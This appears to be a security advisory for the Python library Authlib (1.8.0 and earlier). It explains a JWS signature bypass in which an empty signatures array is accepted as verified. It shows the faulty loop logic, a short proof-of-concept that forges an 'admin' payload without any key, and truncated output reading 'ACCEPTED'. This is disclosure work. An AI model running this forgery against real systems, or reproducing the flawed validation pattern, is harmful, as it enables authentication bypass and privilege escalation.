Affected: Authlib

Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Affected: PyPI: authlib

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

## Root cause

`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:

```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ```

`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

## Reproduction

```python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None)) ```

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED…